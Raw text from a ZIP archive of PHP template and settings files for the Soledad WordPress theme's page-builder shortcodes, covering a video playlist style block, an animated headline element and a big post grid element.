		$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-playlist-title{ color:' . esc_attr( $atts['block_title_color'] ) . ';}';
	}

	if ( $atts['block_title_hcolor'] ) {
		$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-playlist-title a:hover{ color:' . esc_attr( $atts['block_title_hcolor'] ) . ';}';
	}
}

if ( $atts['list_video_bgcolor'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav{ background-color:' . esc_attr( $atts['list_video_bgcolor'] ) . ';}';
}
if ( $atts['video_title_color'] ) {
	$css_custom .= $id_block_css2 . ' .penci-video-playlist-item .penci-video-title{ color:' . esc_attr( $atts['video_title_color'] ) . ';}';
}
if ( $atts['video_title_hover_color'] ) {
	$css_custom .= $id_block_css2 . ' .penci-video-playlist-item .penci-video-title:hover{ color:' . esc_attr( $atts['video_title_hover_color'] ) . ';}';
}
if ( $atts['duration_color'] ) {
	$css_custom .= $id_block_css2 . ' .penci-video-playlist-item .penci-video-duration{ color:' . esc_attr( $atts['duration_color'] ) . ';}';
}
if ( $atts['order_number_color'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav .playlist-panel-item{ color:' . esc_attr( $atts['order_number_color'] ) . ';}';
}
if ( $atts['order_number_bgcolor'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav .playlist-panel-item{ background-color:' . esc_attr( $atts['order_number_bgcolor'] ) . ';}';
}
if ( $atts['item_video_border_color'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav .penci-video-playlist-item{ border-color:' . esc_attr( $atts['item_video_border_color'] ) . ';}';
}
if ( $atts['item_video_bg_hcolor'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav .penci-video-playlist-item:hover{ background-color:' . esc_attr( $atts['item_video_bg_hcolor'] ) . ';}';
}
if ( $atts['scrollbar_bg_hcolor'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb{ background-color:' . esc_attr( $atts['scrollbar_bg_hcolor'] ) . ';}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_block_css, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\,ԲG$  $  5  js_composer/shortcodes/animated_headline/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'animated_headline',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/animated_headline/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Animated Headline', 'soledad' ),
	'description'   => __( 'Create awesome heading title effects', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Style', 'soledad' ),
			'param_name' => 'text_style',
			'value'      => array(
				'None'        => 'none',
				'Highlighted' => 'highlighted',
				'Rotating'    => 'rotating',
			),
			'std'        => 'rotating',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Shape', 'soledad' ),
			'param_name' => 'text_shape',
			'value'      => array(
				'Circle'           => 'circle',
				'Curly'            => 'curly',
				'Underline'        => 'underline',
				'Double'           => 'double',
				'Double Underline' => 'double-underline',
				'Underline Zigzag' => 'underline-zigzag',
				'Diagonal'         => 'diagonal',
				'Strikethrough'    => 'strikethrough',
				'X'                => 'x',
			),
			'std'        => 'circle',
			'dependency' => array( 'element' => 'text_style', 'value' => array( 'highlighted' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Rotating', 'soledad' ),
			'param_name' => 'text_rotating',
			'value'      => array(
				'Typing'      => 'typing',
				'Clip'        => 'clip',
				'Flip'        => 'flip',
				'Swirl'       => 'swirl',
				'Blinds'      => 'blinds',
				'Bounce'      => 'bounce',
				'Swing'       => 'swing',
				'Rubber Band' => 'rubber-band',
				'Drop In'     => 'drop-in',
				'Wave'        => 'wave',
				'Slide Left'  => 'slide-left',
				'Slide Right' => 'slide-right',
				'Slide Up'    => 'slide-up',
				'Slide Down'  => 'slide-down',
			),
			'std'        => 'typing',
			'dependency' => array( 'element' => 'text_style', 'value' => array( 'rotating' ) ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Letter Speed', 'soledad' ),
			'param_name' => 'text_letter_speed',
			'value'      => '100',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Delay on Change', 'soledad' ),
			'param_name' => 'text_delay_change',
			'value'      => '2000',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Clip Duration', 'soledad' ),
			'param_name' => 'text_clip_duration',
			'value'      => '2000',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Delay on Delete', 'soledad' ),
			'param_name' => 'text_delay_delete',
			'value'      => '500',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Before Text', 'soledad' ),
			'param_name' => 'text_before',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Animated Text', 'soledad' ),
			'param_name' => 'text_animated',
			'dependency' => array( 'element' => 'text_style', 'value' => array( 'highlighted' ) ),
		),
		array(
			'type'       => 'textarea',
			'heading'    => __( 'Animated Text', 'soledad' ),
			'param_name' => 'text_animated_list',
			'dependency' => array( 'element' => 'text_style', 'value' => array( 'rotating' ) ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'After Text', 'soledad' ),
			'param_name' => 'text_after',
		),
		array(
			'type'       => 'vc_link',
			'heading'    => __( 'Link', 'soledad' ),
			'param_name' => 'text_link',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'HTML Tag', 'soledad' ),
			'param_name' => 'text_html_tag',
			'value'      => array(
				'H1'   => 'h1',
				'H2'   => 'h2',
				'H3'   => 'h3',
				'H4'   => 'h4',
				'H5'   => 'h5',
				'H6'   => 'h6',
				'div'  => 'div',
				'span' => 'span',
				'p'    => 'p',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Alignment', 'soledad' ),
			'param_name' => 'text_alignment',
			'value'      => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
		),
	), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_001',
			'heading'          => __( 'Normal Text', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'font_container',
			'heading'    => __( 'Normal Text Typography', 'soledad' ),
			'param_name' => 'text_normal_typography',
			'value'      => '',
			'group'      => $group_color,
			'settings'   => array(
				'fields' => array(
					'text_align',
					'font_size',
					'line_height',
					'color',
					'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
					'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
					'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
					'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
					'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
				),
			),
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Normal Text Color', 'soledad' ),
			'param_name' => 'text_normal_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Normal Text Hover Color', 'soledad' ),
			'param_name' => 'text_normal_acolor',
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_002',
			'heading'          => __( 'Animate Text', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'font_container',
			'heading'    => __( 'Animate Text Typography', 'soledad' ),
			'param_name' => 'text_ani_typography',
			'value'      => '',
			'group'      => $group_color,
			'settings'   => array(
				'fields' => array(
					'text_align',
					'font_size',
					'line_height',
					'color',
					'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
					'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
					'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
					'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
					'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
				),
			),
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Animate Text Color', 'soledad' ),
			'param_name' => 'text_ani_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Animate Text Hover Color', 'soledad' ),
			'param_name' => 'text_ani_acolor',
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_003',
			'heading'          => __( 'Highlight Text', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Highlight Width', 'soledad' ),
			'param_name' => 'highlight_width',
			'value'      => '8',
			'group'      => $group_color,
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Animation Duration', 'soledad' ),
			'param_name' => 'highlight_animation_duration',
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_02',
			'heading'          => __( 'Cursor Style', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Cursor Color', 'soledad' ),
			'param_name' => 'cursor_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Delete Block Font Color', 'soledad' ),
			'param_name' => 'typing_delete_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Delete Block Background', 'soledad' ),
			'param_name' => 'typing_background',
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_01',
			'heading'          => __( 'Clip Effects', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Clip Width', 'soledad' ),
			'param_name' => 'clip_width',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Clip Color', 'soledad' ),
			'param_name' => 'clip_background',
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params()),
) );
PK     0w\Zw;    5  js_composer/shortcodes/animated_headline/frontend.phpnu [        <?php
wp_enqueue_script( 'pcwp-heading-animate', PENCI_SOLEDAD_URL . '/js/heading-animates-wb.js', [ 'jquery' ], PENCI_SOLEDAD_VERSION, true );
$settings            = vc_map_get_attributes( $this->getShortcode(), $atts );
$tag                 = esc_attr( $settings['text_html_tag'] );
$normal_color_style  = 'color';
$dynamic_color_style = 'color';
$style               = $settings['text_style'];
$link                = '';

$text_link = [];

if ( isset( $settings['text_link']['url'] ) && ! empty( $settings['text_link']['url'] ) ) {
	$text_link[] = 'href="' . esc_url( $settings['text_link']['url'] ) . '"';
	$text_link[] = 'class="pc-textlink"';
	if ( isset( $settings['text_link']['is_external'] ) && ! empty( $settings['text_link']['is_external'] ) ) {
		$text_link[] = 'target="_blank"';
	}
	if ( isset( $settings['text_link']['nofollow'] ) && $settings['text_link']['nofollow'] ) {
		$text_link[] = 'rel="nofollow"';
	}
	$link = '<a ' . implode( ' ', $text_link ) . '></a>';
}

if ( 'rotating' === $style ) {
	$text   = array();
	$lists  = explode( ',', $settings['text_animated_list'] );
	$rotate = $settings['text_rotating'];
	$delay  = $settings['text_delay_change'] ? $settings['text_delay_change'] : 2500;

	foreach ( $lists as $list ) {
		array_push( $text, $list );
	}

	$text    = implode( ',', $text );
	$options = array(
		'style'  => esc_attr( $style ),
		'text'   => esc_attr( $text ),
		'rotate' => esc_attr( $rotate ),
		'delay'  => esc_attr( $delay ),
	);

	if ( in_array( $rotate, array( 'typing', 'swirl', 'blinds', 'wave' ), true ) ) {
		$options['letter-speed'] = esc_attr( $settings['text_letter_speed'] ? $settings['text_letter_speed'] : 100 );
	}

	if ( 'clip' === $rotate ) {
		$options['clip-duration'] = esc_attr( $settings['text_clip_duration'] ? $settings['text_clip_duration'] : 2000 );
	}

	if ( 'typing' === $rotate ) {
		$options['delay-delete'] = esc_attr( $settings['text_delay_delete'] ? $settings['text_delay_delete'] : 500 );
	}
} elseif ( 'highlighted' === $style ) {
	$options = array(
		'style' => esc_attr( $style ),
		'text'  => esc_attr( $settings['text_animated'] ),
		'shape' => esc_attr( $settings['text_shape'] ),
	);
} else {
	$options = array( 'style' => esc_attr( $style ) );
}

$headline = [];

foreach ( $options as $option => $value ) {
	$headline[] = 'data-' . $option . '="' . $value . '"';
}

$id = 'wppcel-' . rand();

$headline[] = 'class="penci-animated-headline"';

$text = '<' . $tag . ' class="penci-animated-text">';

$inner_text = '<span class="normal-text style-' . $normal_color_style . '">' . esc_attr( $settings['text_before'] ) . '</span>';

if ( 'rotating' === $style ) {

	$lists        = explode( ',', $settings['text_animated_list'] );
	$rotate_style = $settings['text_rotating'];

	$inner_text = $inner_text . '<span class="dynamic-wrapper style-' . $dynamic_color_style . '">';
	$text_list  = '';
	if ( in_array( $rotate_style, array( 'typing', 'swirl', 'blinds', 'wave' ), true ) ) {
		foreach ( $lists as $text_string ) {
			$text_length = mb_strlen( $text_string, 'UTF-8' );
			$text_list   = $text_list . '<span class="dynamic-text">';

			for ( $i = 0; $i < $text_length; $i ++ ) {
				$text_list = $text_list . '<span class="dynamic-text-letter">' . mb_substr( $text_string, $i, 1, 'UTF-8' ) . '</span>';
			}

			$text_list = $text_list . '</span>';
		}
	} else {
		foreach ( $lists as $text_string ) {
			$text_list = $text_list . '<span class="dynamic-text">' . $text_string . '</span>';
		}
	}

	$inner_text .= $text_list . '</span>';


} elseif ( 'highlighted' === $style ) {
	$inner_text = $inner_text . ' <span class="dynamic-wrapper style-' . $dynamic_color_style . '"><span class="dynamic-text">' . esc_attr( $settings['text_animated'] ) . '</span> ' . penci_animated_heading_stroke( $settings['text_shape'], 'color' ) . '</span>';
} else {
	$inner_text = $inner_text . ' <span class="dynamic-wrapper style-' . $dynamic_color_style . '"><span class="dynamic-text">' . esc_attr( $settings['text_animated'] ) . '</span></span> ';
}

$inner_text = $inner_text . ' <span class="normal-text style-' . $normal_color_style . '">' . esc_attr( $settings['text_after'] ) . '</span>';

$text .= $inner_text;

$text .= '</' . $tag . '>';

$css = [
	'text_alignment'               => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text' => 'text-align:{{VALUE}}' ],
	'text_normal_typography'       => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text',
	'text_normal_color'            => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text' => 'color:{{VALUE}}' ],
	'text_normal_acolor'           => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .normal-text' => 'color:{{VALUE}}' ],
	'text_ani_typography'          => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text',
	'text_ani_color'               => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
	'text_ani_acolor'              => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
	'highlight_width'              => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => 'stroke-width:{{SIZE}}px' ],
	'highlight_animation_duration' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => '-moz-animation-duration: {{SIZE}}s; -webkit-animation-duration: {{SIZE}}s; -o-animation-duration: {{SIZE}}s; -ms-animation-duration: {{SIZE}}s; animation-duration: {{SIZE}}s;' ],
	'highlight_animation_delay'    => [
		'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => '-moz-animation-delay: {{SIZE}}s; -webkit-animation-delay: {{SIZE}}s; -o-animation-delay: {{SIZE}}s; -ms-animation-delay: {{SIZE}}s; animation-delay: {{SIZE}}s;'
	],
	'cursor_color'                 => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper:after' => 'background-color:{{VALUE}}' ],
	'typing_delete_color'          => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete .dynamic-text .dynamic-text-letter' => 'color:{{VALUE}}' ],
	'typing_background'            => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete' => 'background-color:{{VALUE}}' ],
	'clip_width'                   => array(
		'{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after' => 'width: {{SIZE}}px;',
	),
	'clip_background'              => '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after',

];

$css_out = '';

foreach ( $css as $mod => $selectors ) {
	$mod_val = isset( $settings[ $mod ] ) && $settings[ $mod ] ? $settings[ $mod ] : '';
	if ( $mod_val ) {
		if ( is_array( $selectors ) ) {
			foreach ( $selectors as $selector => $prop ) {
				$selector = str_replace( '{{WRAPPER}}', '#' . $id, $selector );
				$css_out  .= $selector . '{' . str_replace( '{{VALUE}}', $mod_val, $prop ) . '}';
			}
		} else {
			$selector = str_replace( '{{WRAPPER}}', '#' . $id, $selectors );
			$css_out  .= $selector . '{' . penci_soledad_vc_extract_font_prop( $mod_val ) . '}';
		}
	}
}

echo '<div id="' . esc_attr( $id ) . '"><div ' . implode( ' ', $headline ) . '>' . $text . $link . '</div></div>';

if ( $css_out ) {
	echo '<style>' . $css_out . '</style>';
}PK     0w\4Pk  k  .  js_composer/shortcodes/big_grid/based-post.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ); ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
				<?php
				do_action( 'penci_bookmark_post', get_the_ID() );
				/* Display Review Piechart  */
				if ( 'yes' == $show_reviewpie && function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( 'yes' == $show_formaticon ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

                    <div <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail ), ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
						echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
					} ?>>
						<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail ), get_the_title(), ! $disable_lazy ); ?>
                    </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>
						<?php if ( in_array( 'cat', $post_meta ) && ! $hide_cat_small_flag ) : ?>
                            <div class="pcbg-above item-hover">
							<span class="cat pcbg-sub-title">
								<?php penci_category( '', $primary_cat ); ?>
							</span>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'title', $post_meta ) ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
                                            href="<?php the_permalink(); ?>"><?php if ( ! $title_length ) {
											the_title();
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( $cspost_enable || ! $hide_meta_small_flag && count( array_intersect( array(
								'author',
								'date',
								'comment',
								'views',
								'reading'
							), $post_meta ) ) > 0 ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc">
									<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                        <span class="bg-date-author author-italic author vcard">
										<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
												penci_coauthors_posts_links();
											else: ?>
                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											<?php endif; ?>
									</span>
									<?php endif; ?>
									<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                        <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                        <span class="bg-comment">
										<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
									</span>
									<?php endif; ?>
									<?php
									if ( in_array( 'views', $post_meta ) ) {
										echo '<span>';
										echo penci_get_post_views( get_the_ID() );
										echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										echo '</span>';
									}
									?>
									<?php echo penci_show_custom_meta_fields( [
										'validator' => $cspost_enable,
										'keys'      => $cspost_cpost_meta,
										'acf'       => $cspost_cpost_acf_meta,
										'label'     => $cspost_cpost_meta_label,
										'divider'   => $cspost_cpost_meta_divider,
									] ); ?>
									<?php
									$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
									if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                        <span class="bg-readtime"><?php penci_reading_time(); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
                            </div>
						<?php } ?>

						<?php if ( $show_readmore && ! $hide_rm_small_flag ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a href="<?php the_permalink(); ?>"
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></span>
									<?php if ( $readmore_icon ):
										vc_icon_element_fonts_enqueue( 'fontawesome' );
										echo '<i class="penci-cup_iconn--i ' . $readmore_icon . '"></i>';
									endif; ?>
                                </a>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     0w\{M  M  ,  js_composer/shortcodes/big_grid/settings.phpnu [        <?php
$group_color  = 'Typo & Color';
$group_custom = 'Custom Grid Items';
vc_map( array(
	'base'          => 'penci_big_grid',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/big_grid/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Big Grid', 'soledad' ),
	'description'   => __( 'Posts Big Grid', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Query Type:', 'soledad' ),
			'value'      => array(
				esc_html__( 'Base Post', 'soledad' ) => 'post',
				esc_html__( 'Custom', 'soledad' )    => 'custom',
			),
			'std'        => 'post',
			'param_name' => 'bgquery_type',
		),
		array(
			'type'        => 'loop',
			'heading'     => '',
			'param_name'  => 'build_query',
			'value'       => 'post_type:post|size:10',
			'settings'    => array(
				'size'      => array( 'value' => 10, 'hidden' => false ),
				'post_type' => array( 'value' => 'post', 'hidden' => false )
			),
			'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
			'dependency'  => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Select Style for This Slider', 'soledad' ),
			'value'      => array(
				esc_html__( 'Grid ( Default )', 'soledad' ) => 'style-1',
				esc_html__( 'Masonry', 'soledad' )          => 'style-2',
				esc_html__( 'Style 3', 'soledad' )          => 'style-3',
				esc_html__( 'Style 4', 'soledad' )          => 'style-4',
				esc_html__( 'Style 5', 'soledad' )          => 'style-5',
				esc_html__( 'Style 6', 'soledad' )          => 'style-6',
				esc_html__( 'Style 7', 'soledad' )          => 'style-7',
				esc_html__( 'Style 8', 'soledad' )          => 'style-8',
				esc_html__( 'Style 9', 'soledad' )          => 'style-9',
				esc_html__( 'Style 10', 'soledad' )         => 'style-10',
				esc_html__( 'Style 11', 'soledad' )         => 'style-11',
				esc_html__( 'Style 12', 'soledad' )         => 'style-12',
				esc_html__( 'Style 13', 'soledad' )         => 'style-13',
				esc_html__( 'Style 14', 'soledad' )         => 'style-14',
				esc_html__( 'Style 15', 'soledad' )         => 'style-15',
				esc_html__( 'Style 16', 'soledad' )         => 'style-16',
				esc_html__( 'Style 17', 'soledad' )         => 'style-17',
				esc_html__( 'Style 18', 'soledad' )         => 'style-18',
				esc_html__( 'Style 19', 'soledad' )         => 'style-19',
				esc_html__( 'Style 20', 'soledad' )         => 'style-20',
				esc_html__( 'Style 21', 'soledad' )         => 'style-21',
				esc_html__( 'Style 22', 'soledad' )         => 'style-22',
			),
			'std'        => 'style-1',
			'param_name' => 'style',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Grid/Masonry Style Columns', 'soledad' ),
			'value'      => array(
				esc_html__( '1 Column', 'soledad' )  => '1',
				esc_html__( '2 Columns', 'soledad' ) => '2',
				esc_html__( '3 Columns', 'soledad' ) => '3',
				esc_html__( '4 Columns', 'soledad' ) => '4',
				esc_html__( '5 Columns', 'soledad' ) => '5',
				esc_html__( '6 Columns', 'soledad' ) => '6'
			),
			'std'        => '3',
			'param_name' => 'bg_columns',
			'dependency' => array( 'element' => 'style', 'value' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Grid/Masonry Style Columns on Tablet', 'soledad' ),
			'value'      => array(
				esc_html__( 'Default', 'soledad' )   => '',
				esc_html__( '1 Column', 'soledad' )  => '1',
				esc_html__( '2 Columns', 'soledad' ) => '2',
				esc_html__( '3 Columns', 'soledad' ) => '3',
				esc_html__( '4 Columns', 'soledad' ) => '4',
			),
			'std'        => '',
			'param_name' => 'bg_columns_tablet',
			'dependency' => array( 'element' => 'style', 'value' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Grid/Masonry Style Columns on Mobile', 'soledad' ),
			'value'      => array(
				esc_html__( '1 Column', 'soledad' )  => '1',
				esc_html__( '2 Columns', 'soledad' ) => '2',
				esc_html__( '3 Columns', 'soledad' ) => '3',
			),
			'std'        => '1',
			'param_name' => 'bg_columns_mobile',
			'dependency' => array( 'element' => 'style', 'value' => array( 'style-1', 'style-2' ) ),
		),
		array(
			'type'       => 'checkbox',
			'heading'    => __( 'Showing Post Data', 'soledad' ),
			'value'      => array(
				esc_html__( 'Categories', 'soledad' )   => 'cat',
				esc_html__( 'Title', 'soledad' )        => 'title',
				esc_html__( 'Author', 'soledad' )       => 'author',
				esc_html__( 'Date', 'soledad' )         => 'date',
				esc_html__( 'Comments', 'soledad' )     => 'comment',
				esc_html__( 'Views', 'soledad' )        => 'views',
				esc_html__( 'Reading Time', 'soledad' ) => 'reading',
			),
			'std'        => 'cat,title,author,date',
			'param_name' => 'bg_postmeta',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Custom Title Words Length', 'soledad' ),
			'std'        => 10,
			'param_name' => 'title_length',
			'dependency' => array( 'element' => 'bgquery_type', 'value' => array( 'post' ) ),
		),
		array(
